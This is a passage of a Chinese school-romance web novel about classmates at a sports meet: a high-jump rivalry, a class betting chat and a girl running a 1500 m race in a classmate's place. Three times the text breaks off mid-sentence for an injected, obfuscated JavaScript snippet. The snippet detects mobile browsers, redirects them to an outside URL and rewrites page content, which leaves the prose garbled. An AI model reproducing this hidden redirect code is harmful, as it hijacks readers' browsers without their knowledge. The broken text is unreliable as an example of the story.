朱鑫纬仗着身高和速度优势一路冲到篮下,却没想到顾彧反应这么快,迅速回防将他拦住,投篮不成的朱鑫纬只能将球外传,意料外,顾彧突然起跳,生生将球在空中截了下来,然后迅速朝反方向冲去。朱鑫纬根本来不及反应,等他们回到自己篮下,顾彧已经斩落三分了。 “我去好帅啊!看没看见他刚才起跳?!他跳好高!” “看他打球真是赏心悦目,难怪朱鑫纬即便跟顾彧有矛盾都要邀请他进篮球队了。” 竞技体育的魅力就在于此,就算是平时对运动不怎么关心的周窈,也不免被顾彧刚才那一套行云流水的操作所叹服。 代薇子摇了摇头:“你看,感情这种事多奇怪,荣子涵放着顾彧不喜欢,竟然去跟朱鑫纬谈恋爱,就离谱。” 确实离谱,换做是她,肯定也选顾彧不选朱鑫纬啊。 咦? 周窈愣了一下,不明白为什么要往自己身上套,她又没有要和顾彧谈恋爱——呸呸呸,她没有要和任何人谈恋爱的打算! 因为这突然冒出来的念头,导致周窈一下午都略微紧张,尤其是在看到了顾彧的时候。当她第N次躲开顾彧伸过来的手时,顾彧明显地觉察到这事有那么一点不对劲,他歪了歪头,盯着周窈的背影看了几秒钟,随即当做无事发生,继续做题。 放学后,周窈照例给李铭轩补习,今天补数学,在讲完知识点后,周窈列了几道题目给李铭轩做,自己则掏出一张物理卷子,准备抽空啃一下。 刚做了两道题,放在口袋里的手机就震了起来,周窈以为是陈娟有什么事,就掏出来看了一眼,却没想到是顾彧。 他还没走,跟蒋煜他们在操场上练习,备战运动会,本来李铭轩也想去,但被周窈扣下了。 【顾^^彧:[红包]】 【顾^^彧:条条老师,我喉咙快冒烟了,想喝水……[可怜]】 【不是葛朗台是世界首富:那你自己买啊。】 【顾^^彧:场地会被人抢走的。[委屈][快哭了]】 一中那小破操场就这么大,器械就这么多,临近运动会各班都在抓紧准备,场地器械自然很抢手,人一旦离开,很快就会被别人占走。 周窈想了想,回复道: 【不是葛朗台是世界首富:小卖部没有宝矿力。】 【顾^^彧:只要是条条老师买的,就算是雷碧我也喝![色][亲亲]】 最好是! 跟李铭轩说了一声自己去去就来,并嘱咐他好好做题之后,周窈就去小卖部买了一瓶脉动,然后拎着去操场找顾彧了。 其实找他一点都不麻烦,只要看操场上哪里女生最多就是了。 果然,操场西北角,顾彧、朱鑫纬和其他几个班级的男生在那练跳高,周围围了一圈女生。 周窈挤进人群,凑巧站在了荣子涵边上。此时朱鑫纬正在挑战一米七五的高度,这对最好成绩一米九五的他来说,不过就是个热身,但荣子涵依旧双手合十紧张地为他祈祷。 果不其然,小幅度助跑之后,朱鑫纬就像条鱼一样轻松越过,那跟杆子连他的衣角都没碰到。 荣子涵激动鼓掌。 不知是不是周窈来得巧,朱鑫纬跳完之后就轮到了顾彧,顾彧跳的一米八的高度,周窈目测那杆子已经比她高出一个头了,毕竟她只有159.5cm…… 但很可惜的是,顾彧没跳过去。 下一把朱鑫纬也同样跳了一米八,衣摆略擦了一下,但还是漂亮地跳过去了。 瞬间,对比明显。 “这样看顾彧跳高悬了呀……” “本来也没抱希望啊,朱鑫纬是全市青少年跳高第一,顾彧再怎么厉害也赢不了他啊。” “对啊,而且他长得帅成绩又好,运动也不错,跳高输给朱鑫纬也没什么吧,又不能要求他样样都是第一,何况朱鑫纬也考不了第一啊,体育生出了名的四肢发达,头脑……” 那被隐去的两个字,任谁都知道是什么。 荣子涵一听对方开始诋毁朱鑫纬,立马不高兴了:“朱鑫纬是体育特长生,能在一项专项上做出成绩的都是很聪明的人,他只是把精力分给了体育,不然他成绩肯定不差。” 单纯对这番话,周窈暗暗点头表示肯定,竞技体育,考验的不只是体能,还有领悟能力、学习能力、协调力,朱鑫纬能做到舟市第一,他肯定不是个笨蛋,单要将那些动作细节全部领悟,并科学训练自己的各项体能,就非常不简单了。 却没想到荣子涵继续说道:“像顾彧这样的,看起来弱不禁风,除了学习一无是处。” 嗯?这周窈就不敢苟同了,毕竟顾彧篮球也打得很棒啊,听说游戏也玩得不错,跟那种死读书的书呆子天壤之别好吧。 还未轮到周窈替顾彧打抱不平,边上那些女孩先喊了起来。 “体育第一有什么用啊,出了社会,还不是顾彧这样的混得最好?就看高考,朱鑫纬是能去哪去哪,顾彧是想去哪去哪,能比吗?” “就是的,荣子涵,你不会是追顾彧不成,现在毒唯转黑吧?哈哈哈哈哈哈!” 荣子涵有心和对面辩驳,但无奈一人难敌悠悠众口,只能强行按住怒火,咽下这口气。扭头一看,却发现周窈站在自己边上,或许是因为“周窈在追顾彧”的传闻,荣子涵瞬间就将周窈划分到敌对势力范围内,和她说话的语气也夹枪带棒。 “你怎么在这?”说完便瞟到周窈手里的脉动,语气不免又轻蔑了几分:“你这又是给谁送水啊?” 周窈眨眨眼睛,不明白她这怒火为什么迁怒到自己身上,又觉得她这种草木皆兵到处乱咬的样子有点好笑,便半调侃道:“给‘弱不禁风’的顾彧。” 话音刚落,手里的脉动就被人一把抽走,周窈抬头就跟顾彧四目相对,不免有些尴尬,毕竟刚刚还背着人蛐蛐他来着,而且很显然,他听到了。 就听顾彧边拧瓶盖边笑:“我什么时候弱不禁风了?”说罢他微微俯下身,凑到周窈耳边轻哼:“我有腹肌的,有机会给你看看?” 心里顿时“咯噔”一下,大脑自动想起篮球场上他随意撩起的衣摆。 顿时耳朵发热。 “不用了,谢谢。”周窈极力掩饰,撇过头去做出一副嫌弃的表情。 “还是你想看胸肌?” 周窈又瞬间想到上次在密室里,她不小心按着顾彧的胸壁咚他那次,这次连带着脸颊都热了,眉头立即皱了起来。顾彧见她要恼,立马见好就收,说着“等我一下”,就把饮料塞给她然后回去跳了最后一把,而周窈则抱着那瓶脉动等在原地。 此时周围都是探究的眼神,周窈强行无视,强装淡定,心里却把顾彧从头到脚给骂了一遍。 顾彧最后又挑战了一把一米八,但依旧没跳过。朱鑫纬嘲讽地“建议”他不如降一下高度,顾彧只当耳边风,挥了挥手拎起东西和周窈一起回教室了。 两人走后,其他人不免好奇地议论起来。 “刚刚那个就是周窈?就是上次跟顾彧一起去密室的那个?” “好像是吧。” “那他们俩现在……在谈?” “不知道……看起来也就那样吧,顾彧眼光原来也不算高。” “就是,还不如于奥琪呢。” 刚刚还和周窈针锋相对的荣子涵听完,双手叉腰也不顾自己的淑女风范了,直接开喷:“你们要是喜欢顾彧就追啊,又不敢追,又在背后哔哔赖赖。人家顾彧和周窈就算在一起也不关你们的事,照照镜子吧,看看谁才是小丑!哼!” “荣子涵你有病啊!” “怎么的你是大夫啊?你先治治自己的花痴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460809|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病吧!” …… 周窈走到教学楼楼下发现顾彧还跟在自己身后,不免觉得奇怪:“你还回教室?” 顾彧脚下一顿:“嗯,好累,想歇一会再回家。” 周窈不疑有他,带着顾彧上了楼。 一进教室就看见李铭轩在玩手机。 “题做完了吗?” 李铭轩慌忙将手机藏到桌洞,但还是晚了一步,顾彧立即向周窈“举报”:“周老师我举报李铭轩玩手机!”说完他低头看了一眼:“五道大题才写了一道!” 周窈一脸严肃:“都是很基础的题了,解题思路我才跟你讲过。” 被抓包的李铭轩一脸尴尬:“我会做,就是刚才有点事要忙……” 周窈拖着椅子坐下:“有什么事还能比学习重要。” 李铭轩面色尴尬:“蒋煜他们在群里开坛打赌呢。”他掏出手机给两人看:“今天顾神和朱鑫纬的赔率差距越来越大了,我忙着下注呢。” 周窈向来对金钱敏感,闻言也凑过去看,果然群里密密麻麻都是各种来自“前线”的“快讯”。 【③孬学生:报!朱鑫纬一米七五一跳成功!】 【③孬学生:报!顾彧一米八一跳失败!】 【③孬学生:报!顾彧一米八二跳失败!】 【③孬学生:报!顾彧一米八三跳失败!】 【③孬学生:报!朱鑫纬一米八一跳成功!】 【③孬学生:报!顾彧结束训练!】 【③孬学生:报!朱鑫纬一米八五一跳失败!】 【③孬学生:报!朱鑫纬一米八五二跳成功!】 【⑨班卡扎菲:这样一看,赔率低点就低点吧,我还是押朱鑫纬吧,稳稳的幸福……】 【①中萨达姆:我就看谁有胆押顾彧!】 【③孬学生:搏一搏,单车变摩托啊!】 【⑨班卡扎菲:可是这辆摩托车它没油啊!】 周窈粗略扫了一眼,表示没啥兴趣,低头做题,倒是顾彧还兴致勃勃问李铭轩:“现在赔率多少?” 李铭轩往前翻了翻:“一比十三。” “哦。”顾彧了然,随即他又问:“那你押了谁?” 李铭轩双手合十:“抱歉啊顾神,咱们交情是交情,生意归生意,五块钱,我全压了朱鑫纬。” 顾彧倒不觉得意外,他伸出食指,挠了挠周窈手臂。 “干嘛?” “想不想赚钱?” 周窈眼睛一亮:“怎么赚?” 顾彧朝手机方向努努嘴:“押我赢。” 闻言,周窈多少觉得有些离谱:“你刚才一米八没跳过。” “你怎么知道我跳不过?” “我看到的。” “你就押我一次吧。”顾彧歪头望向周窈,狐狸眼湿漉漉的满是讨好意味,还有那么点可爱:“我们这么铁,你不该支持我一次吗?” 周窈轻咳一声,撇过头去不看他:“心有余而钱不足。” 顾彧又凑近了一些,两人几乎脸对着脸,灼热的气息喷在周窈脸颊边:“输了算我的,赚了算你的,行不行?”说着,伸出大拇指在周窈手臂上轻轻一按。 周窈低头,就看见一张机打快褪色了的奶茶标签,隐约还能看出上面写着“波霸/半糖”。 这是她上次随手哄顾彧的,没想到他还留着。 “想赖账?” 周窈挑眉:“输了真的算你的?” 顾彧点头:“真的。就当帮我撑个场面,不然也太没面子了。” 周窈摘下贴在手臂上的奶茶标签,略想了一下,好像也是,一边倒支持朱鑫纬,确实显得顾彧很没面子。当然更重要的是,这可是笔不一定稳赚,但一定不赔的买卖。 于是五分钟后,群里炸了。 【③孬学生:卧槽!是谁,是谁打破了这个优雅的零蛋?!是谁,是谁搅乱了这一池浑水?】 【⑨班卡扎菲:让我们看是哪位勇士明知摩托车没油还要拼一把!】 【①中萨达姆:好好好,不愧是我一中少年,九班勇士!担得起这一句“有胆无谋”!】 【蒋蒋蒋蒋:哈?周窈?】 【⑨班卡扎菲:啥情况?周窈?】 【③孬学生:牛啊,就凭这份深情,就该她追到顾彧!@蒋蒋蒋蒋转告顾彧,就说这门亲事,我准了!】 【①中萨达姆:这是五块钱的事吗?这TMD是无法言说的无限深情啊!】 【蒋蒋蒋蒋:@李是李铭轩的理什么情况?葛朗台·周不是在给你补课吗?】 围观了全程的李铭轩:…… 【李是李铭轩的理:我不知道,我只是一颗无辜的小灯泡。】 38. 间接…… 霎时间,少年的耳朵…… 万众期盼之中,运动会如期召开,且天空作美,万里无云。 一大早,众人就纷纷搬着自己的椅子去操场指定的地点落座——一中这个螺蛳壳大小的场地,一旦要办个什么活动,就显得十分抠搜,运动会也一样,看台座位不够,各班自己搬椅子围着运动场坐一圈,跟幼儿园小朋友似的。 代薇子搬着自己的椅子,扭头看了一眼周窈:“你椅子呢?” 周窈手上套着塑料袋正在剥一颗茶叶蛋,闻言头都不抬:“顾彧帮我搬走了。” “那你的茶叶蛋又是哪来的?” “李铭轩‘孝敬’我的。”提起李铭轩,周窈颇为得意:“他最近学习态度良好,每天回家也肯做作业了,上网打游戏的时间都少了,为此他妈还给我发了个红包,两百呢!而且李铭轩也说,他爸妈为了不打扰他学习,最近也不怎么吵架了。” 代薇子倒也挺替她开心,但嘴上还是说着:“看把你美的。” 周窈仰着头哼了一声,竖起两根手指头特地又比划了一下:“两百哦~” “那你请客。” “想都别想,这可是我的血汗钱。” “啧啧,我看你就算真成了世界首富,也还是个葛朗台。” 两人来到九班指定座位时,蒋煜他们已经帮着占好位置了,五把椅子并排放在一起,颇有些小团体的味道。顾彧坐在最边上,正低头看手机,听见周窈来了,看都没看直接伸手拍了拍自己身边的位置,周窈也没多想,自觉挨着他坐下了。 第一天的比赛项目有代薇子的跳远,蒋煜的一百米和李铭轩的四百米,顾彧的跳高则在第二天下午。还没轮到上场的蒋煜正忙着发动所有人写广播稿,主题只有一个,就是干倒一班。 “九班勇士,踏平一班!” “愿世上再无双黄蛋!” 看着斗志昂扬的学生们,就连平时比较严肃的史芬也眯眼笑着给运动员们打气。 不过这些都跟周窈无关,作为九班为数不多的学习积极分子,刚坐下周窈就掏出一套卷子做了起来,起初还算悠然自得,但等太阳升到当空后,光线就有些晃眼了。正想着要不要趁人不注意的时候逃回教室去,突然从天而降一件外套,兜在了她头上,为她遮起一小块天地。 顾彧伸手替她拉了两下,确保她被遮得严严实实:“太阳底下看书伤眼睛。” 周窈抬头看过去,少年神情淡然却不冷漠,冷白皮在阳光下像是被镀上了一层金光。 她被晃得有些愣神,低低地应了一声:“哦。” 广播里,甜美的女声正在播报新的广播稿:“高二一班的健儿们,你们的汗水,如同璀璨的星辰,点亮了青春的色彩。你们的努力,如同划破天际的流星,引领着未来的方向。不管输赢,不论成败,你们都将是独一无二的英雄,用坚韧和毅力,诠释着运动的真谛!” 代薇子一脸嫌弃地看着手上的稿纸:“啧啧,看看人家,写得多好,多有文采,看看你们,写得都是什么啊,什么‘誓要让一班吃屁’……能选上就有鬼了。” 蒋煜不服气了:“没让他们吃屎就不错了!”说完,他将手里的稿纸发放给众人:“写写写,都给我写起来!气势不能输!质量不行我们就走题海战术!” 最近没什么考试自然也就没什么存在感的文委孔昊英将稿纸随手一捏,继续低头做他的题,蒋煜看到他一系列动作,火气腾得就上来了。 “哟哟哟,这是谁家的好学生啊,一点集体荣誉感都没有,考上第一名了吗?” 孔昊英扶了扶鼻梁上的眼镜,显然不想浪费时间跟蒋煜争辩:“你找作文写的好的人去啊,盯着我干嘛?我已经写过一篇了,那边还有两个一笔没动的,你怎么不敢找?”说完就头一低,不打算搭理蒋煜了。 蒋煜闻言朝边上一看,他们班作文只扣了两分的顾神正塞着耳机闭着眼睛靠着椅背睡觉呢,而他边上——咦?这是个什么东西? 蒋煜蹑手蹑脚过去,掀起校服外套一看。 “干什么你。”突如其来的猛烈阳光让周窈眼前一花,抬头就看见蒋煜笑得欠欠的。 “嘿嘿,我当是谁呢,包这么严实,原来是葛朗台·周你啊。头顶一块布,九班你最富。来吧——”他二话不说塞了张稿纸给过去:“广播稿走起!” 周窈也不推辞,打开手机在网上抄了几篇改了几个字就迅速交了上去,速度之快令蒋煜咋舌。 “要不还是咱葛朗台·周呢,脑子就是好使。孩儿们!给劳资抄起来!看谁还敢说咱们的稿件质量差!” 解决了广播稿的事,距离李铭轩的400米预检还有一段时间,闲着没事,蒋煜又开始整活。 “打赌吗?赌一杯奶茶,顾神耳机里听的什么,我猜是郭德纲!” 李铭轩头都不抬,他正争分夺秒在做周窈给他布置的作业,难得运动会,他竟然可能只有在跑400米的那几分钟里不用考虑学习的事,真是够够的了。“还能听什么,你以为顾神跟你一样啊,十有八九英语听力。” 问完李铭轩,又去问周窈。 周窈更是一脸不耐烦:“你直接问他不就行了?” 蒋煜一脸怂样地搓手:“那可不敢打扰顾神睡觉,你不是离得近么,帮忙听一下,我和李铭轩打赌呢!” 周窈一个眼刀过去,李铭轩寒毛直竖:“题我做着呢!” 收回目光,周窈扭头看向边上的顾彧,他还保持着之前的姿势,双手插兜背靠椅背,垂着头这么睡着。 也不嫌累。 周窈腹诽了一句,然后就伸手摘下了其中一只耳机。 耳机被摘掉的瞬间,顾彧睁开眼,和周窈四目相对。 面无表情的顾彧让周窈都有些发憷,她磕磕绊绊解释:“就是想知道你在听什么。” 顾彧的表情依旧没什么变化,周窈心想着他不会是有起床气吧,正想要不给他道个歉,而下一秒顾彧就摘下了另外一只耳机,连带着刚刚被周窈摘下的那一只,一起塞到了周窈的耳朵里。 音乐继续流淌,不是什么英文单词,相反,是一首老歌。 “总有些惊奇的际遇,比方说当我遇见你,你那双温柔剔透的眼睛,出现在我梦里……不管未来会怎么样,至少我们现在很开心,不管结局会怎么样,至少想念的人是你。” 周窈有些意外地抬眼,和顾彧的视线对上。艳阳下,少年目光灼灼,周窈觉得自己心口好像被烫了一下。 / 第一天的比赛过半,蒋煜一百米跑了个第四,李铭轩四百米第二,班级其他各项加起来,总分目前和十三班并列第二,比第一名的一班还低了四分,而今天就还剩下几项田赛和一千五长跑了。 蒋煜咬着笔杆子写写算算:“咱们今天起码还得再拿两分,才能保证明天能超过一班,毕竟朱鑫纬跳高的那九分已经是囊中之物了,如果他运气好再破个记录,那就更稳了,所以代代的跳远和孟初之的一千五一定要进前八,只要有名次就有分数,最低也是一分!” 代薇子斜了他一眼:“你学习的时候怎么就没这钻研劲头呢?” “是仇恨赐予了我力量!” “神金。”说着,代薇子起身,一把拉过周窈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460810|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“陪我去买瓶饮料。”周窈将手里的卷子放下便起身往外走,经过顾彧身侧,被他一把拉住手腕。 “条条老师,帮我带一瓶脉动。” “知道了。” 小卖部里此时人满为患,都是各种来买零食的学生,结账都得排上几分钟的队。周窈从货架上拿了一瓶脉动,先去柜台前占位置,没一会,孟初之就排到了她后面,手背在身后,看不清她买了什么。 周窈向来不管别人闲事,自然也不过问,倒是代薇子从后面过来的时候,无意间看见了孟初之藏在身后的东西。 “你来大姨妈了?” 孟初之有些难为情地点了点头。 本来就是正常生理行为,也没什么好在意的,但代薇子突然想起来:“你不是一会还要跑一千五?” 尤其蒋煜还特地算过了,一定要跑进前八拿到名次才行。 孟初之面色为难:“就……咬牙跑吧……” “不行的!”代薇子一口否决,“我之前就是来例假的时候不好意思跟体育老师请假,勉强跑了八百米,就那之后每次来都痛经,到现在也是,而且经常不规律,你可千万别勉强!” “可是……我不跑就没人跑了啊,咱们班不是还想要超过一班拿第一吗?” 这倒是。 一千五,有人主动报名就谢天谢地了,根本不可能存在替跑可能,所以好像也只能让孟初之勉强上阵了。 “但你这样去跑,能拿到名次吗?” 孟初之摇摇头,捂着肚子:“不知道……” 两人一脸愁容,边上的周窈看在眼里却些许不解,她不明白孟初之为什么明明来例假还要冒险长跑,就为了蒋煜说的要赢过一班吗?这在她看来,就像是稳赔不赚的买卖,聪明人都知道怎么选吧。 “夜用的卖完了,只买到日用的……” “你量这么大?” “不是啊,我怕一会跑步的时候漏出来,到时候就真的社死了……” 真是……傻得要死。 虽然这样想着,但一直没说话的周窈却突然开口:“我替你跑吧。” 孟初之不可思议地抬头向她看去,就见周窈指了指货架上的脉动:“再给我拿一瓶脉动,就当报酬了。” …… 从小卖部出来,孟初之直冲女厕所,而周窈和代薇子则原路返回。 “你真的要跑一千五啊?那可是一千五啊!你跑过吗?” “没有。”周窈老老实实地摇头,一边拧开手里的脉动,她其实没喝过这玩意,一瓶要六块,她可没这闲钱。不过老实说,她确实也挺好奇这个饮料到底是什么味道,顾彧三天两头喝,都喝不腻。 “这也太草率了,你这样跑很容易受伤的!” “那就慢慢跑就行了,反正只要进前八,第八也是前八。” 两人走到一半,广播就播报跳远运动员集合,代薇子和周窈打了声招呼就小跑着去预检了,而周窈则边喝着脉动边慢慢悠悠往九班座位那走。边走还边想着一千五的事,连顾彧过来了也没注意到。 “怎么去这么久?” “小卖部超多人,付钱得排队。” 刚想把胳膊下面夹着的那瓶脉动拿出来递给顾彧,顾彧却一把将她手中那瓶抽走了,也没注意到瓶盖是拧开的,吨吨吨就灌了小半瓶下去,喝完还疑惑周窈为什么一直盯着他看。 半晌,周窈掏出另一瓶未开封的脉动递了过去:“刚刚那瓶,我喝过了……这瓶才是你的……” 霎时间,少年的耳朵上像是飘来了两朵火烧云,红透了。 39. 接吻?! 其实两个人小时候也不是没吃过同一样食物,顾彧手里的冰淇淋,第一口往往都是属于周窈的,好吃的零食你一口我一口也是常态,甚至有一段时间周窈被顾彧和他奶奶惯得嘴都刁了,回家吃西瓜只吃最尖尖的那一口,被陈娟狠狠揍了一顿。 但也说了,那是小时候,还不太懂男女之别。 周窈正想说点什么打破眼前这尴尬的局面,就听广播里播报:“参加一千五百米长跑的运动员请立即前往预检台。” 她慌忙将手里的饮料往顾彧怀里一塞:“我得走了!” 顾彧拉住她:“去哪?” 周窈反手挣脱:“跑一千五!” 到了预检台,周窈才后知后觉地开始紧张,看着别人都是运动服短衣短裤加专业跑鞋,她穿着校服和板鞋就来了,怎么看都不像是要参加长跑比赛的人,但她都答应别人了,脉动也喝了,现在想退也来不及了。 孟初之听见广播追过来,站在边上小声向她传授秘诀:“起跑别太快,一会你就跟着第二梯队,保持好节奏别掉队就行了,最后一圈试试冲刺,如果能赶上第一梯队就赶,赶不上只要保证自己不是最后就行!” 周窈环顾四周数了数参赛人数,一共九人,就是说她起码得跑赢一人才能获得一分。 突然之间亚历山大。 “葛朗台·周!你怎么要跑一千五啊!” 蒋煜一嗓子喊得周窈回了神,她朝边上看去,就见顾彧跟在蒋煜身后,站在人群里看着她。眼神扫到他手上拎着那两瓶脉动,周窈顿时又不淡定了…… “孟初之身体不舒服,我就替她跑了。” 预检完成,体育老师带着一行人前往跑道。 周窈紧张得心脏直突突,身后蒋煜他们的大声加油都没功夫回应。即将踏上跑道时,手腕突然被人拉了一下,她回头看去,是顾彧。 “小心点,别受伤,跑最后也没关系。” 周窈看着他的眼睛,点了点头:“知道了。” 错身而过的瞬间,又听顾彧小声补了一句:“我在终点接你。” 周窈回头看了他一眼,紧张之下什么话都没能说出口,只抬手朝他挥了两下。 …… 跑道上,九名选手排成一排等待发令枪响,助威声如山呼海啸一般。 周窈愣愣地站在起跑线上,甚至不知道自己该摆出怎样的起跑姿势。 “砰!”随着发令枪响,一群人立即冲了出去。 一千五考验的不止是耐力,还有体力以及稳定配速的能力,就如同孟初之所说,刚开始大家并没有跑得很快,属于周窈能跟上的速度,但在两百米过后,就渐渐形成了两个梯队。想起孟初之交代的,周窈并没有在这个阶段发力,而是稳稳地维持在第二梯队中间。 “葛朗台·周可以啊!”蒋煜拿着望远镜观察着场上的形势,而边上的顾彧只是面色深沉地注视着挤在第二梯队里的周窈,眉头紧锁,一脸担心。 事实证明,一千五不是谁都能跑得了的。 起初周窈还挺轻松的,哪怕看见好几人跑到前面去了她也不慌,但一圈过后,她就开始有点吃力了,六百米嗓子干哑,八百米开始恍惚,一千米的时候她连意识都不知飞哪去了,甚至都不知道自己跑了几圈,只知道跟着前面的人机械地在跑,两条腿似乎已经都不属于她了,鼻腔也渐渐有了铁锈味,每次呼吸都伴随着刺痛。 她从小到大,也就只在每次体测的时候跑过八百米而已,细数起来不超过十次,这会上来就是一千五,确实太勉强了。 周围似乎有山呼海啸一般的欢呼,但之于她就像是隔了一层膜,听不真切,眼前的跑道在明晃晃的日光下也开始虚焦,金色的光线静默地上下跳跃,耳边只能听到自己沉重的呼吸。 再后来,每一步都像是踩在碎石上,脚底生疼,本来她这双鞋子也不适合长跑。但即便如此,周窈依旧努力地保持在第二梯队中间,并牢牢地卡着身后的人,不让她们追上来。 经过最后一圈时,老师在边上敲锣提醒。 周窈用力眨了眨眼睛,抖落掉滑落在睫毛上的汗水,此时几乎所有人都开始最后的冲刺,第一梯队里有擅长长跑的体育生,她一个人几乎领先了所有人将近一圈,已经即将跑到终点,而第二名则跟她差了半圈之多。绝大部分人还都挤在她们第二梯队里,而此时,大家也开始发力了,毕竟第三名就在离她们大约五十米远的地方。 身后脚步声响起,在第一个转弯处,周窈立马就被人超过,很显然,她成了最后一名。但如果要拿这一分,就必须追上去。 “糟糕!阿周被人追上了!”人群堆里蒋煜急得大喊,正想鼓动顾彧帮着一起喊加油,扭头就见身边空无一人,顾彧不知什么时候,已经挤出人群开始往外走了。 “哎顾神你干什么去啊?” 顾彧却没回应他,只自顾自往终点线方向跑去。 周窈想抹一把脸上的汗,却发现自己连抬手的力气都没有,没来得及看自己身后空空荡荡,她提起自己像是灌了铅的两条腿,尝试提速。 喉咙里的铁锈味越来越浓,每一次呼吸都觉得胸腔刺痛。 “要不停下来走吧,反正她只是个替跑的。” 放弃的念头只在脑海一闪而过,看着前面人的背影,她咬了咬牙。 无论如何,她都讨厌做最后一名。 懂得长跑的都知道,像周窈这种突然提速太多,是很难维持住最后的冲刺的。但周窈不管,她很快利用第二道弯超过了她一直跟着的那个女生,然后又朝着前面的人追去,又过半圈,她已经回到了第二梯队的末位,只是前面几人粘的很近,将她的前进之路完全堵死,想要超过她们,只能从外侧绕一个大圈。 绕吗? 看着大约还有两百米的终点线,周窈再次咬了咬牙——绕! 于是她再次提速,这次她明显感觉到自己的体力已经如强弩之末,再也不可能让她有提速的机会了,而眼前的世界也变得一片灰蒙,像是失去了色彩。 最后一百米,她听到周围有纷乱的脚步声,其他人准备最后的冲刺,可是她已经没有力气了,明明只有最后一百米了,周窈却觉得终点线像天边那么遥远而无望,眼下的她能保持住眼前这个速度和优势冲到终点都已经很好了。 意识模糊之间,她看到蒋煜在边上向她欢呼,口型似乎是说着冲刺冲刺。 看着终点渐渐接近…… 拼了! 周窈再次也是最后一次尝试提速,哪怕双腿跟石头一样沉重。 渐渐的,身边的人都不见了,取而代之的是终点线后,那个逐渐清晰的人影。 “我在终点接你。”熟悉的声音在脑海里响起。 冲过终点的那一霎那,周窈不管不顾地整个人朝着顾彧扑去,她已经累到站都站不起来了。 太好了,解脱了…… “没事,我接住你了。” “第几?”周窈闭着眼睛声音喑哑地问。 “第四,了不起啊,周条条。” …… 等蒋煜、孟初之以及比完跳远的代薇子赶过来的时候,顾彧正陪着周窈坐在场边上休息,他单膝跪地,曲起的那条腿垫周窈身后给她当靠背,手里是不知道从哪里借来扇子对着周窈扇风,另一只手拎着一瓶脉动。 拧开盖子将脉动递过去:“小口喝,别大口灌。” 周窈气还没喘匀都得多问一句:“是我的那瓶吗?” 顾彧笑了:“你那瓶我喝了,这是新的。” 周窈愣了一下,随即想想也对,他喝过了再给她,那不二次间接接吻了? “卧槽?你们俩啥情况?”代薇子瞪大双眼一头雾水,而边上的孟初之竟然捧着脸小声又激动地喊:“真人版的执事和小姐SAMA!” 什么什么SAMA? “第四!第四啊啊啊啊啊!”蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477385|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煜激动得简直要把周窈抱起来亲了,刚走进就收到来自顾彧的眼刀,于是硬生生停在了距离周窈两米远的距离。“好样的葛朗台·周!为我们班赢得了宝贵的五分!我们已经稳稳地超过一班啦!” 周窈喝着脉动努力回想,所以刚才她应该是跑到第二梯队最前面去了,原来她还有练长跑的潜力?这样看起来一千五也不算什么难事嘛,轻松拿捏…… 才过了不到几分钟,刚刚在跑道上的那些艰辛就已经像是上辈子的事了。 “走了,回去吧。” “扶朕起来。” “得嘞!起驾回宫!” 周窈被顾彧架着站起来,然后左边代薇子右边蒋煜,像个老佛爷似的被“抬”回了座位上,享受属于她的掌声。 等田赛场上的铅球结束后,第一天的运动会就落下了帷幕。 蒋煜喊上几个男生一起去游戏厅,李铭轩嗦着冰棒也悄摸混迹在人群之中。 然而还没走远就听见周窈喊他:“李铭轩,上楼补课!” 李铭轩脸一垮:“是不是人啊你,今天运动会!” 但即便李铭轩多次抗议,依旧没能扛过周窈硬要赚这五十块补课费的决心,眼见着其他班级的同学都三三两两回家了,他就只能坐在教室里和周窈干瞪眼。哦不,边上还有个监工顾彧。 二对一,他想上个厕所都得打报告。 等补完课,天都黑了。迫不及待给蒋煜打电话确认了对方位置,李铭轩逃似的飞奔出教室。 周窈也准备要走,可刚一起身就脚下一软坐了回去。 然后,腿侧就被人轻轻碰了下。 “腿伸过来。” “嗯?” 顾彧拍了拍自己的大腿:“腿架上来。” 周窈一脸疑惑地照做:“要干嘛?” “按摩,不然你明天连床都下不来你信不信?不热身,还瞎跑,你真行啊周条条。” 这显然不是一句夸奖,周窈撇撇嘴,反正跑都跑完了,一个耳朵进一个耳朵出,完全没当回事。 顾彧瞟了她一眼,看她脸色就知道根本没放在心上,于是手下一用力—— “啊!疼!” 周窈眼一瞪,但顾彧根本不怕她,手上的力道丝毫没松。 “现在知道疼了?要是不揉开,明天能疼死你,到时候你就知道我骗没骗你了。” “那,那你轻点……” 顾彧抬头,见周窈少见的怂了,嘴角一扬:“行,我轻点。” 顾彧道的手法不知道是跟谁学的,确实很舒服,原本酸痛的肌肉被他按过之后,松了很多,也不怎么胀了。 